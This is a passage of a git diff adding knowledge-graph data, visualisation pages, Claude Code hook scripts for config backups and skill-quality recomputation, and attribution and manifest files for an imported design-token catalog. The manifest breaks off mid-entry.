"mcp-server:tigergraph", + "mcp-server:tilda", + "mcp-server:tilde", + "mcp-server:timeslope", + "mcp-server:tinify-ai", + "mcp-server:tiny-erp", + "mcp-server:tinybird", + "mcp-server:tinydb-emcipi", + "mcp-server:tl-dv", + "mcp-server:tldraw-agent", + "mcp-server:to-do-list", + "mcp-server:todoapp", + "mcp-server:todoist", + "mcp-server:todoist-taskmaster", + "mcp-server:tokencast", + "mcp-server:tokencost", + "mcp-server:tokenlens", + "mcp-server:tokenoracle", + "mcp-server:tokenscope", + "mcp-server:tokrepo", + "mcp-server:tolgee", + "mcp-server:tongxiao-iqs", + "mcp-server:tool4lm", + "mcp-server:toolbartender", + "mcp-server:toolhouse", + "mcp-server:toolmesh", + "mcp-server:tooloracle-hotel", + "mcp-server:tooloracle-news", + "mcp-server:tooluniverse", + "mcp-server:toon", + "mcp-server:toon-format", + "mcp-server:toon-parse", + "mcp-server:topyappers", + "mcp-server:torchv-ais", + "mcp-server:toroidal-toolshed", + "mcp-server:touchdesigner", + "mcp-server:trabuco", + "mcp-server:trackio", + "mcp-server:tracklix", + "mcp-server:tracxn", + "mcp-server:trainingpeaks", + "mcp-server:traits-matcher", + "mcp-server:trakt", + "mcp-server:transformseo", + "mcp-server:transistor-fm", + "mcp-server:transition", + "mcp-server:transmission", + "mcp-server:travelpayouts", + "mcp-server:tredict", + "mcp-server:trellio", + "mcp-server:trello", + "mcp-server:trello-by-stucchi", + "mcp-server:trendradar", + "mcp-server:trinity", + "mcp-server:trino", + "mcp-server:tripadvisor", + "mcp-server:tripleseat", + "mcp-server:tripletex", + "mcp-server:tripo-3d", + "mcp-server:trivia", + "mcp-server:tronrental", + "mcp-server:truenas", + "mcp-server:truenas-core", + "mcp-server:truenas-scale-by-drewid74", + "mcp-server:trunk", + "mcp-server:trustmrr", + "mcp-server:tududi", + "mcp-server:tui", + "mcp-server:turbometrics", + "mcp-server:turso", + "mcp-server:tuya-smart-home", + "mcp-server:tweekit", + "mcp-server:twelvelabs", + "mcp-server:twig", + "mcp-server:twinmotion-via-aps", + "mcp-server:twist", + "mcp-server:two-truths-and-a-twist", + "mcp-server:twosplit", + "mcp-server:txtai", + "mcp-server:typefully", + "mcp-server:typescribe", + "mcp-server:typesense", + "mcp-server:u-he-preset-randomizer", + "mcp-server:u2", + "mcp-server:ucco-foundation", + "mcp-server:ucloud", + "mcp-server:ui-annotator", + "mcp-server:ui-expert", + "mcp-server:ui-friend", + "mcp-server:ui-ticket", + "mcp-server:ui5", + "mcp-server:uipath", + "mcp-server:uk-carbon-intensity", + "mcp-server:uk-due-diligence", + "mcp-server:uk-police", + "mcp-server:uk-scouts-por", + "mcp-server:uldl", + "mcp-server:ulink", + "mcp-server:ultimate-64", + "mcp-server:ultimatecoder", + "mcp-server:uml-diagramming", + "mcp-server:unblocked", + "mcp-server:unblockpay", + "mcp-server:unblu", + "mcp-server:undisk", + "mcp-server:undo", + "mcp-server:unichat-ts", + "mcp-server:unicode-steganography-puzzles", + "mcp-server:unifi", + "mcp-server:unifi-by-enuno", + "mcp-server:unifuncs", + "mcp-server:union", + "mcp-server:unipile", + "mcp-server:uniprof", + "mcp-server:unisender", + "mcp-server:uniswap-poolspy", + "mcp-server:unitree-go2", + "mcp-server:unix-manual", + "mcp-server:unleash", + "mcp-server:unloop", + "mcp-server:unpaywall", + "mcp-server:unphurl", + "mcp-server:unrealmcp", + "mcp-server:unsloth", + "mcp-server:untappd", + "mcp-server:unulu", + "mcp-server:uofastmcp", + "mcp-server:uploadkit", + "mcp-server:uploadthing", + "mcp-server:upstash", + "mcp-server:uptier", + "mcp-server:uptimebolt", + "mcp-server:uptybots", + "mcp-server:uranium", + "mcp-server:urdb", + "mcp-server:url-shortener", + "mcp-server:urldna", + "mcp-server:urlscan", + "mcp-server:urnetwork", + "mcp-server:usegrant", + "mcp-server:useless-facts", + "mcp-server:usewebhook", + "mcp-server:utomopia", + "mcp-server:uuid-v7", + "mcp-server:uurl-at", + "mcp-server:vaadin", + "mcp-server:vaali", + "mcp-server:vale", + "mcp-server:valid", + "mcp-server:validity-everest", + "mcp-server:valtown", + "mcp-server:vanikya-ai", + "mcp-server:vantage", + "mcp-server:variance-log", + "mcp-server:variflight", + "mcp-server:vaultpilot", + "mcp-server:vechain", + "mcp-server:vectorize", + "mcp-server:veles", + "mcp-server:velocirag", + "mcp-server:velvoite", + "mcp-server:vendia", + "mcp-server:venmo", + "mcp-server:venturu", + "mcp-server:veridict", + "mcp-server:veritas-acta", + "mcp-server:versedb", + "mcp-server:versium-reach", + "mcp-server:verus-timestamp-write", + "mcp-server:vettly", + "mcp-server:vexly", + "mcp-server:veyrax", + "mcp-server:vggt-mps", + "mcp-server:viban", + "mcp-server:victorialogs", + "mcp-server:victoriametrics", + "mcp-server:victoriatraces", + "mcp-server:viking-experience-booking", + "mcp-server:vikingdb", + "mcp-server:vikunja", + "mcp-server:vindi", + "mcp-server:visible-vc", + "mcp-server:visio", + "mcp-server:vitest-type-checking", + "mcp-server:vivado-eda", + "mcp-server:vk", + "mcp-server:vllm-benchmark", + "mcp-server:vmanomaly", + "mcp-server:vnsh", + "mcp-server:vorota-ai-nmap", + "mcp-server:vox", + "mcp-server:voximplant", + "mcp-server:vtimestamp", + "mcp-server:vue-harvest", + "mcp-server:vugola", + "mcp-server:vulk", + "mcp-server:vultr", + "mcp-server:vynn", + "mcp-server:wait", + "mcp-server:wait-timer", + "mcp-server:waitlister", + "mcp-server:waldur", + "mcp-server:waldzell-metagames", + "mcp-server:wanyi-watermark-remover", + "mcp-server:warpcast", + "mcp-server:warpmetrics", + "mcp-server:wave-accounting", + "mcp-server:waveform", + "mcp-server:waystation", + "mcp-server:wcag", + "mcp-server:wcgw", + "mcp-server:weavely-forms", + "mcp-server:weaviate", + "mcp-server:webcheck", + "mcp-server:webflow", + "mcp-server:webforj", + "mcp-server:webgate", + "mcp-server:webmcp", + "mcp-server:webpage-timestamps", + "mcp-server:webpeel", + "mcp-server:webresearch", + "mcp-server:websharp", + "mcp-server:webshift", + "mcp-server:websitepublisher", + "mcp-server:webvizio", + "mcp-server:weekly-reports", + "mcp-server:wegene", + "mcp-server:weibo-hot", + "mcp-server:weights-and-measures", + "mcp-server:weights-biases", + "mcp-server:well", + "mcp-server:wemo-smart-home", + "mcp-server:weread", + "mcp-server:wharttest", + "mcp-server:whatap-mxql", + "mcp-server:when", + "mcp-server:where", + "mcp-server:wherobots", + "mcp-server:whiteboard", + "mcp-server:who-icf-classification", + "mcp-server:whoop", + "mcp-server:wikidata", + "mcp-server:wikijs", + "mcp-server:wikipedia", + "mcp-server:wikiviews", + "mcp-server:wildfly", + "mcp-server:winbridgeagent", + "mcp-server:windbg", + "mcp-server:windowsforum", + "mcp-server:windsor", + "mcp-server:winscript", + "mcp-server:winston-ai", + "mcp-server:wisepanel", + "mcp-server:wishfinity", + "mcp-server:withings", + "mcp-server:wix", + "mcp-server:wiz-smart-lights", + "mcp-server:wongames", + "mcp-server:wopee", + "mcp-server:wordle", + "mcp-server:wordlift", + "mcp-server:words", + "mcp-server:wordware", + "mcp-server:workato", + "mcp-server:workato-by-praecipio", + "mcp-server:worklog", + "mcp-server:workos", + "mcp-server:worldanvil", + "mcp-server:wpwriter", + "mcp-server:wrike", + "mcp-server:writio", + "mcp-server:wygiwyh", + "mcp-server:wymcp", + "mcp-server:x", + "mcp-server:x3d", + "mcp-server:x64dbg", + "mcp-server:xalantis", + "mcp-server:xano", + "mcp-server:xendit", + "mcp-server:xero", + "mcp-server:xero-accounting", + "mcp-server:xiaomi-mijia", + "mcp-server:xkcd", + "mcp-server:xmcp", + "mcp-server:xmind", + "mcp-server:xraylib", + "mcp-server:xrp-ledger", + "mcp-server:ya-frida", + "mcp-server:yade", + "mcp-server:yandex-metrika", + "mcp-server:yandexgpt", + "mcp-server:yaparai", + "mcp-server:yapi", + "mcp-server:yaver", + "mcp-server:ydb", + "mcp-server:yeetit", + "mcp-server:yelp", + "mcp-server:yelp-fusion-ai", + "mcp-server:yertle", + "mcp-server:yiditu", + "mcp-server:yingdao-rpa", + "mcp-server:ynu", + "mcp-server:yogosha", + "mcp-server:yokan-board", + "mcp-server:yokatlas", + "mcp-server:yomitan-dictionary", + "mcp-server:youmind", + "mcp-server:yourware", + "mcp-server:youtrack", + "mcp-server:yugabytedb", + "mcp-server:yuque", + "mcp-server:zapier", + "mcp-server:zebrunner", + "mcp-server:zeek", + "mcp-server:zerocracy", + "mcp-server:zerodust", + "mcp-server:zeroheight", + "mcp-server:zetachain", + "mcp-server:zettelkasten", + "mcp-server:zillow", + "mcp-server:zip-compression", + "mcp-server:zipic", + "mcp-server:zoo", + "mcp-server:zoomeye", + "mcp-server:zopaf", + "mcp-server:zutrix", + "mcp-server:zuul-ci-by-imatza-rh", + "skill:session-log" + ] + } + }, + "total_communities": 22, + "generated": "2026-04-29" +} \ No newline at end of file diff --git a/graph/sample-top60.html b/graph/sample-top60.html new file mode 100644 index 0000000000000000000000000000000000000000..1f10be25977719f44535810ad563969bd487a880 --- /dev/null +++ b/graph/sample-top60.html @@ -0,0 +1,182 @@ + + +Knowledge Graph (60 nodes) - top 60 + + + + +
+ + \ No newline at end of file diff --git a/graph/skills-sh-catalog.json.gz b/graph/skills-sh-catalog.json.gz new file mode 100644 index 0000000000000000000000000000000000000000..887ee93ae1c80b14bd143505f3edeba898cea309 --- /dev/null +++ b/graph/skills-sh-catalog.json.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9fb092605b61135be34c4f5d40031e5ae1e047ed1c5a78d64bc2113852caf383 +size 6116926 diff --git a/graph/viz-ai-agents.html b/graph/viz-ai-agents.html new file mode 100644 index 0000000000000000000000000000000000000000..99c7f20dc847496571a2d35ded35088663346dc0 --- /dev/null +++ b/graph/viz-ai-agents.html @@ -0,0 +1,182 @@ + + +Knowledge Graph (40 nodes) - tag: ai | top 40 + + + + +
+ + \ No newline at end of file diff --git a/graph/viz-overview.html b/graph/viz-overview.html new file mode 100644 index 0000000000000000000000000000000000000000..566ba7e3d82b6466769aef140db970ef929337d7 --- /dev/null +++ b/graph/viz-overview.html @@ -0,0 +1,182 @@ + + +Knowledge Graph (40 nodes) - top 40 + + + + +
+ + \ No newline at end of file diff --git a/graph/viz-overview.png b/graph/viz-overview.png new file mode 100644 index 0000000000000000000000000000000000000000..1313e01656e98dfee75e2ac066dfae00f14ed52c --- /dev/null +++ b/graph/viz-overview.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b0f9ddd183f2963870b8d9d108dbc42970cc89ea7df8a8069cdbd988bc780cd +size 486969 diff --git a/graph/viz-python.html b/graph/viz-python.html new file mode 100644 index 0000000000000000000000000000000000000000..197cc5f5fe0e9a4efbc1194266412b9ed327e44a --- /dev/null +++ b/graph/viz-python.html @@ -0,0 +1,182 @@ + + +Knowledge Graph (40 nodes) - tag: python | top 40 + + + + +
+ + \ No newline at end of file diff --git a/graph/viz-security.html b/graph/viz-security.html new file mode 100644 index 0000000000000000000000000000000000000000..d1cd00ceeb7c68c031fbe1ca20ed93bdee6b58b6 --- /dev/null +++ b/graph/viz-security.html @@ -0,0 +1,182 @@ + + +Knowledge Graph (40 nodes) - tag: security | top 40 + + + + +
+ + \ No newline at end of file diff --git a/graph/viz-security.png b/graph/viz-security.png new file mode 100644 index 0000000000000000000000000000000000000000..bea199b75860b9b9c368d976622e0ac9b374c98b --- /dev/null +++ b/graph/viz-security.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1c1e73ef3575145fdac7b9bd2a5802a4f6d6c73d7d03878fea2d7bd4ed505a36 +size 573531 diff --git a/graph/wiki-graph.tar.gz b/graph/wiki-graph.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..5b3d5dbc04265a50d7b150a5c1698af8e6fc0c86 --- /dev/null +++ b/graph/wiki-graph.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e1ba943584ac29accdfae41474e6994e52edb64e154db7fc89e7cd713dc612c +size 44687640 diff --git a/hooks/backup_on_change.py b/hooks/backup_on_change.py new file mode 100644 index 0000000000000000000000000000000000000000..f5bc73597814f526d01b017f9c9606391809464e --- /dev/null +++ b/hooks/backup_on_change.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +""" +backup_on_change.py -- PostToolUse hook that snapshots on config changes. + +Designed to be registered in ``~/.claude/settings.json`` under: + + "hooks": { + "PostToolUse": [ + { + "matcher": "Edit|Write|MultiEdit", + "hooks": [ + { + "type": "command", + "command": "python /hooks/backup_on_change.py" + } + ] + } + ] + } + +Claude Code delivers each PostToolUse event as a JSON payload on stdin. +This script: + + 1. Parses the payload. + 2. Checks whether the tool edited a file that BackupConfig tracks + (top_files, trees, or projects/*/memory when memory_glob is on). + 3. If so, shells out to ``python src/backup_mirror.py snapshot-if-changed + --reason :`` so the snapshot name records what fired it. + 4. Never blocks the tool: any error is logged to stderr and the hook + exits 0 so a bug here can't stall the user's session. + +Snapshots only happen when content *actually* changed (SHA diff against +the last snapshot's manifest) — so a no-op Edit won't create a folder. +""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +from pathlib import Path +from typing import Any + + +REPO_ROOT = Path(__file__).resolve().parent.parent +SRC = REPO_ROOT / "src" +if str(SRC) not in sys.path: + sys.path.insert(0, str(SRC)) + + +def _load_payload() -> dict[str, Any]: + """Read the PostToolUse payload from stdin. Empty on error.""" + try: + raw = sys.stdin.read() + if not raw.strip(): + return {} + data = json.loads(raw) + return data if isinstance(data, dict) else {} + except (json.JSONDecodeError, OSError): + return {} + + +def _extract_touched_path(payload: dict[str, Any]) -> Path | None: + """Pull the file path out of an Edit / Write / MultiEdit payload.""" + tool_input = payload.get("tool_input") or {} + if not isinstance(tool_input, dict): + return None + # Edit, Write, MultiEdit all use ``file_path``. + candidate = tool_input.get("file_path") + if isinstance(candidate, str) and candidate: + try: + return Path(candidate).expanduser().resolve(strict=False) + except (OSError, ValueError): + return None + return None + + +def _is_tracked(path: Path, claude_home: Path) -> bool: + """True when ``path`` is one of the files BackupConfig mirrors.""" + # Lazy import: hook must still function even when the rest of the + # repo's dependency graph is in a weird state (e.g. during install). + try: + from backup_config import from_ctx_config # noqa: PLC0415 + except ImportError: + return False + + cfg = from_ctx_config() + + try: + path_resolved = path.resolve(strict=False) + home_resolved = claude_home.resolve(strict=False) + except OSError: + return False + + try: + rel = path_resolved.relative_to(home_resolved) + except ValueError: + return False + + rel_posix = rel.as_posix() + + # Top-level files: match by basename against cfg.top_files. + if rel_posix in cfg.top_files: + return True + + # Trees: match any file under a tracked tree's src prefix. + for tree in cfg.trees: + prefix = tree.src.rstrip("/") + "/" + if rel_posix == tree.src or rel_posix.startswith(prefix): + return True + + # Memory glob: projects//memory/... + if cfg.memory_glob: + parts = rel.parts + if len(parts) >= 3 and parts[0] == "projects" and parts[2] == "memory": + return True + + return False + + +def _invoke_snapshot(reason: str) -> int: + """Shell out to snapshot-if-changed. Returns child exit code (or 0).""" + mirror = SRC / "backup_mirror.py" + if not mirror.is_file(): + print(f"[backup_on_change] missing {mirror}", file=sys.stderr) + return 0 + try: + result = subprocess.run( + [sys.executable, str(mirror), "snapshot-if-changed", + "--reason", reason], + capture_output=True, + text=True, + timeout=60, + check=False, + ) + if result.stdout.strip(): + print(result.stdout.strip(), file=sys.stderr) + if result.returncode != 0 and result.stderr.strip(): + print(result.stderr.strip(), file=sys.stderr) + return result.returncode + except (OSError, subprocess.TimeoutExpired) as exc: + print(f"[backup_on_change] snapshot failed: {exc}", file=sys.stderr) + return 0 + + +def main() -> int: + payload = _load_payload() + tool_name = str(payload.get("tool_name") or "unknown") + + touched = _extract_touched_path(payload) + if touched is None: + return 0 + + claude_home = Path(os.path.expanduser("~/.claude")) + if not _is_tracked(touched, claude_home): + return 0 + + reason = f"{tool_name}:{touched.name}" + _invoke_snapshot(reason) + # Always exit 0: hook failures must not block the user's tool. + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/hooks/quality_on_session_end.py b/hooks/quality_on_session_end.py new file mode 100644 index 0000000000000000000000000000000000000000..ef3d977489ac02a0b5f5b2f39cd27d7c4ebf8637 --- /dev/null +++ b/hooks/quality_on_session_end.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python3 +""" +quality_on_session_end.py -- Stop hook that recomputes quality for the slugs +this session touched. + +Designed for ``~/.claude/settings.json``: + + "hooks": { + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "python /hooks/quality_on_session_end.py" + } + ] + } + ] + } + +Why incremental instead of ``recompute --all``: + + - Full recompute walks every installed skill + agent (2,000+ pages) and + runs four signal extractors per page. That's ~30s on a warm cache and + dominates the tail of every session. + - The only signals that *changed* since last session are telemetry + (we logged new loads) and maybe intake (if the user edited a skill + file). Every other signal moves on a slower clock. + - So we compute the set of slugs that showed up in the telemetry event + stream since the last time this hook ran, and rescore just those. + +Always exits 0: a hook that blocks session shutdown is worse than a +slightly stale quality score. +""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +from datetime import datetime, timedelta, timezone +from pathlib import Path +from typing import Any + + +REPO_ROOT = Path(__file__).resolve().parent.parent +SRC = REPO_ROOT / "src" +if str(SRC) not in sys.path: + sys.path.insert(0, str(SRC)) + + +# How far back to look for touched slugs if no marker file exists. +# Matches ``recent_window_days`` default in ``QualityConfig`` so a +# freshly-installed system scores every recently-loaded skill on first run. +_DEFAULT_LOOKBACK_HOURS = 24 + +# State file: stores the ISO timestamp of the last successful run. Lives +# under ~/.claude so it persists across repo clones and venv moves. +_STATE_PATH = Path(os.path.expanduser("~/.claude/skill-quality/.hook-state.json")) +_EVENTS_PATH = Path(os.path.expanduser("~/.claude/skill-events.jsonl")) + +# Upper bound on how many slugs we'll hand to the recompute subcommand in +# one invocation. Pathological: a user loads 500 distinct skills in one +# session. We'd rather recompute the top 50 than stall on session-end. +_MAX_SLUGS_PER_RUN = 50 + + +def _load_payload() -> dict[str, Any]: + try: + raw = sys.stdin.read() + if not raw.strip(): + return {} + data = json.loads(raw) + return data if isinstance(data, dict) else {} + except (json.JSONDecodeError, OSError): + return {} + + +def _read_cutoff() -> datetime: + """Return the 'since' cutoff for scanning events.""" + if _STATE_PATH.is_file(): + try: + data = json.loads(_STATE_PATH.read_text(encoding="utf-8")) + ts = data.get("last_run_at") + if isinstance(ts, str): + parsed = datetime.fromisoformat(ts) + if parsed.tzinfo is None: + parsed = parsed.replace(tzinfo=timezone.utc) + return parsed.astimezone(timezone.utc) + except (json.JSONDecodeError, ValueError, OSError): + pass + return datetime.now(timezone.utc) - timedelta(hours=_DEFAULT_LOOKBACK_HOURS) + + +def _write_state(now: datetime) -> None: + try: + _STATE_PATH.parent.mkdir(parents=True, exist_ok=True) + _STATE_PATH.write_text( + json.dumps({"last_run_at": now.isoformat(timespec="seconds")}), + encoding="utf-8", + ) + except OSError as exc: + print(f"[quality_on_session_end] could not write state: {exc}", + file=sys.stderr) + + +def _touched_slugs_since(cutoff: datetime, events_path: Path) -> list[str]: + """Return a deduplicated list of skill slugs that appear after ``cutoff``.""" + if not events_path.is_file(): + return [] + seen: dict[str, None] = {} + try: + with events_path.open(encoding="utf-8") as fh: + for raw in fh: + line = raw.strip() + if not line: + continue + try: + obj = json.loads(line) + except json.JSONDecodeError: + continue + if not isinstance(obj, dict): + continue + slug = obj.get("skill") + ts_raw = obj.get("timestamp") + if not isinstance(slug, str) or not isinstance(ts_raw, str): + continue + try: + parsed = datetime.fromisoformat(ts_raw) + except ValueError: + continue + if parsed.tzinfo is None: + parsed = parsed.replace(tzinfo=timezone.utc) + if parsed < cutoff: + continue + # Insertion order preserved by dict in Python 3.7+. + seen.setdefault(slug, None) + except OSError: + return [] + return list(seen.keys())[:_MAX_SLUGS_PER_RUN] + + +def _invoke_recompute(slugs: list[str], session_id: str | None = None) -> int: + if not slugs: + return 0 + script = SRC / "skill_quality.py" + if not script.is_file(): + print(f"[quality_on_session_end] missing {script}", file=sys.stderr) + return 0 + # Propagate session_id via environment so the per-slug + # skill.score_updated audit rows carry it. Without this the + # dashboard's per-session timeline drops the middle event in the + # load -> score_updated -> unload triad. + env = dict(os.environ) + if session_id: + env["CTX_SESSION_ID"] = session_id + try: + result = subprocess.run( + [sys.executable, str(script), "recompute", + "--slugs", ",".join(slugs)], + capture_output=True, + text=True, + timeout=120, + check=False, + env=env, + ) + if result.stderr.strip(): + print(result.stderr.strip(), file=sys.stderr) + return result.returncode + except (OSError, subprocess.TimeoutExpired) as exc: + print(f"[quality_on_session_end] recompute failed: {exc}", + file=sys.stderr) + return 0 + + +def main() -> int: + payload = _load_payload() # consume stdin even if we don't use it + now = datetime.now(timezone.utc) + cutoff = _read_cutoff() + slugs = _touched_slugs_since(cutoff, _EVENTS_PATH) + + # Resolve session_id up-front so it can flow into both the + # recompute subprocess (via CTX_SESSION_ID env) AND the session.ended + # audit record below. Previously the score_updated rows had no + # session_id, breaking the dashboard's per-session timeline. + session_id: str | None = None + if isinstance(payload, dict): + session_id = payload.get("session_id") or payload.get("sessionId") + if not session_id: + session_id = f"session-{now.strftime('%Y%m%dT%H%M%SZ')}" + + _invoke_recompute(slugs, session_id=session_id) + _write_state(now) + + # Unified audit: one line per session boundary + rotate if big. + # Guarded with try/except because a hook that fails on audit is + # worse than one that runs without telemetry. + try: + # ctx_audit_log lives in src/. Add src/ to path so this hook + # (which runs out of hooks/) can import it regardless of whether + # the user is on the editable install or the pip-installed copy. + _SRC = Path(__file__).parent.parent / "src" + if str(_SRC) not in sys.path: + sys.path.insert(0, str(_SRC)) + from ctx_audit_log import log_session_event, rotate_if_needed + + # session_id resolved above — reuse it so the audit record + # agrees with the CTX_SESSION_ID that score_updated rows carry. + log_session_event( + "session.ended", session_id, actor="hook", + meta={"recomputed_slugs": len(slugs), "cutoff": cutoff.isoformat()}, + ) + rotate_if_needed() + except Exception: # noqa: BLE001 — audit is advisory + pass + + # Always exit 0: hook errors must not stall session shutdown. + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/imported-skills/designdotmd/ATTRIBUTION.md b/imported-skills/designdotmd/ATTRIBUTION.md new file mode 100644 index 0000000000000000000000000000000000000000..b1a4ce0a833411303cb7a22e93041242e7042a16 --- /dev/null +++ b/imported-skills/designdotmd/ATTRIBUTION.md @@ -0,0 +1,121 @@ +# designdotmd.directory — Attribution & Usage + +This directory mirrors the design-token catalog from +[designdotmd.directory](https://designdotmd.directory) — a curated set of +DESIGN.md files describing visual identities (color, typography, spacing, +component tokens, rationale) that any coding agent can read. + +## Provenance + +| Field | Value | +|---|---| +| Upstream site | https://designdotmd.directory | +| List API | https://designdotmd.directory/api/designs | +| Detail API | https://designdotmd.directory/api/designs/{id} | +| Fetched on | 2026-04-27 | +| Total designs | 156 | +| Curated by | [@bidah](https://twitter.com/bidah) (Twitter creator handle from site meta tags); attributed author per design is **Rofi** | +| License | **No explicit license posted on the site.** Treat as public reference material with upstream attribution. Review before redistributing. | + +## What's in here + +- `designs/.md` — verbatim copy of each upstream design markdown + (YAML frontmatter with name + description + design tokens, plus a + short prose `## Overview` body). +- `designs/.meta.json` — listing metadata (id, name, author, tags, + tagline) the upstream API returns for each design but doesn't ship + inside the markdown itself. +- `designs-listing.json` — full upstream listing in one file. +- `MANIFEST.json` — machine-readable catalog generated by + `build_manifest.py` (slug, name, tagline, author, tags, source path, + line count). Tags are pulled from the listing API and written into + the deployed `SKILL.md` because the upstream `.md` doesn't include + them at the YAML level. +- `build_manifest.py` — manifest regenerator. + +## How to integrate + +```bash +python imported-skills/designdotmd/build_manifest.py # rebuild MANIFEST.json +python src/import_designdotmd_skills.py --dry-run # preview +python src/import_designdotmd_skills.py --install # deploy as designdotmd- +``` + +The importer: +- Deploys each design to `~/.claude/skills/designdotmd-/SKILL.md`. +- Preserves the upstream YAML frontmatter (colors, typography, spacing, + components, rationale) verbatim. +- **Injects** a `tags: [...]` line right after `description:` so the + recommender's tag signal can match design tokens to user queries + ("dark editorial typography" → `serif` + `dark` + `editorial` tags). +- Prepends a one-line attribution comment so the upstream URL is + visible inline in every deployed file. + +After install, refresh the wiki + graph: + +```bash +python src/catalog_builder.py +python src/wiki_batch_entities.py --all +python -m ctx.core.wiki.wiki_graphify +``` + +## Why this set + +Most agent skills cover *behavior* (TDD, code review, debugging). +Designs are different: they're **reference data** the agent reads when +asked to produce a UI. A query like "build me a dashboard with a calm, +research-paper feel" should surface `ai-labs`, `clinical`, or +`paper-white` — visual identities, not coding playbooks. + +Adding 156 of these to the graph gives a clean second category of +recommendations alongside the 1,800+ behavior skills, with no overlap +risk because none of them describe agent actions — they're token sets +plus rationale. + +## Categorisation (selected) + +| Category | Designs | +|---|---| +| Editorial / serif | heritage, terracotta, sunset-magazine, broadsheet-01, magazine-rouge, atelier-noir, wine-country | +| Brutalist / bold | brutalist-office, concrete-lemon, streetwear-block, bauhaus | +| Technical / dark | terminal, obsidian, graphite, zed-dev, devops-graphite, cyber-matrix | +| Playful / retro | risograph, neon-arcade, y2k-chrome, candy-shop, pixel-quest, arcade-neon-pop | +| Minimal | swiss-grid, paper-white, gallery-white, clinical, ai-labs, clinic-sage | +| Finance | defi-chrome, neobank-mint, wealth-noir | +| Healthcare | clinic-sage, wellness-coral | +| Music / fashion | record-sleeve, rave-poster, atelier-noir | +| Sports / gaming HUD | sports-hud, dungeon-crawl, candy-tap | + +The full set spans ~30 visual categories crossed with ~10 industry verticals. + +## License caveat + +I could not find an explicit license on the site (no LICENSE link, +no terms page, no robots/about endpoint, no licensing metadata in the +API response). The site explicitly says "Browse, preview, and install +visual identities any coding agent can read" — that's a clear +public-distribution intent for *reading and using*, but not a formal +permission to redistribute under a known license. + +This import treats the corpus as **public reference material with +upstream attribution preserved inline** (the HTML comment header on +every deployed file links back to designdotmd.directory). If you plan +to redistribute this catalog (e.g. ship the wiki tarball publicly), +contact the upstream creator first to confirm permissions. + +## Limitations + +- **Frontmatter shape** — the designs use rich YAML (colors, typography, + spacing, components, rationale) that's idiomatic for design tokens + but goes beyond the `name` + `description` + `tags` shape Claude Code's + skill loader requires. Extra fields are tolerated and unused; they + remain readable when an agent loads the skill. +- **No body conversion** — the `## Overview` prose body in each upstream + file is preserved verbatim. The wiki's micro-skill pipeline does + *not* run on these (they're not behavioral skills with implementation + steps). +- **Tag accuracy** — tags come from the upstream listing API and are + lowercased. They're a sensible starting point but not exhaustive + (e.g. `paper-white` is tagged `minimal serif reading` — accurate but + doesn't capture "library", "research", "monograph" connotations). + The recommender's slug-token + semantic signals fill in the gap. diff --git a/imported-skills/designdotmd/MANIFEST.json b/imported-skills/designdotmd/MANIFEST.json new file mode 100644 index 0000000000000000000000000000000000000000..5e57006cc208bb5b4868a5db76abddfb5d8948ec --- /dev/null +++ b/imported-skills/designdotmd/MANIFEST.json @@ -0,0 +1,2038 @@ +{ + "upstream": "https://designdotmd.directory", + "upstream_api": "https://designdotmd.directory/api/designs", + "fetched_on": "2026-04-27", + "license": "unknown (see ATTRIBUTION.md)", + "namespace": "designdotmd", + "total": 156, + "entries": [ + { + "name": "3D Sculpt", + "tagline": "3D viewport: studio grey, mesh cyan, normal magenta.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "sans" + ], + "slug": "3d-sculpt", + "source_path": "designs/3d-sculpt.md", + "lines": 75 + }, + { + "name": "AI Labs", + "tagline": "Research-paper white, terminal-green prompts.", + "author": "Rofi", + "tags": [ + "technical", + "minimal", + "sans" + ], + "slug": "ai-labs", + "source_path": "designs/ai-labs.md", + "lines": 74 + }, + { + "name": "Airline Altitude", + "tagline": "Boarding-pass minimal: sky grey, contrail teal.", + "author": "Rofi", + "tags": [ + "travel", + "minimal", + "cool" + ], + "slug": "airline-altitude", + "source_path": "designs/airline-altitude.md", + "lines": 76 + }, + { + "name": "Airport Departures", + "tagline": "Departure board: flap black, amber status, gate mono.", + "author": "Rofi", + "tags": [ + "travel", + "technical", + "mono" + ], + "slug": "airport-departures", + "source_path": "designs/airport-departures.md", + "lines": 74 + }, + { + "name": "Analytics Crisp", + "tagline": "Analytics: crisp white, chart iris, chart peach.", + "author": "Rofi", + "tags": [ + "technical", + "minimal", + "sans" + ], + "slug": "analytics-crisp", + "source_path": "designs/analytics-crisp.md", + "lines": 76 + }, + { + "name": "Aqua Mint", + "tagline": "Seaglass, mint, chilled glass surfaces.", + "author": "Rofi", + "tags": [ + "soft", + "cool", + "sans" + ], + "slug": "aqua-mint", + "source_path": "designs/aqua-mint.md", + "lines": 75 + }, + { + "name": "Arcade Neon Pop", + "tagline": "Chunky buttons, rainbow XP bars, candy physics.", + "author": "Rofi", + "tags": [ + "gameplay", + "playful", + "bold" + ], + "slug": "arcade-neon-pop", + "source_path": "designs/arcade-neon-pop.md", + "lines": 76 + }, + { + "name": "Architect Blueprint", + "tagline": "Drafting-table blue, tracing paper, pencil-line grid.", + "author": "Rofi", + "tags": [ + "architecture", + "minimal", + "technical" + ], + "slug": "architect-blueprint", + "source_path": "designs/architect-blueprint.md", + "lines": 75 + }, + { + "name": "Arctic", + "tagline": "Glacier white, ice blue, breath of steam.", + "author": "Rofi", + "tags": [ + "cool", + "minimal", + "sans" + ], + "slug": "arctic", + "source_path": "designs/arctic.md", + "lines": 75 + }, + { + "name": "Atelier Noir", + "tagline": "Fashion-week black, silk ivory, thin everything.", + "author": "Rofi", + "tags": [ + "fashion", + "minimal", + "serif" + ], + "slug": "atelier-noir", + "source_path": "designs/atelier-noir.md", + "lines": 75 + }, + { + "name": "Bakery Flour", + "tagline": "Artisan bakery: flour dust, rye, sourdough crust.", + "author": "Rofi", + "tags": [ + "food", + "warm", + 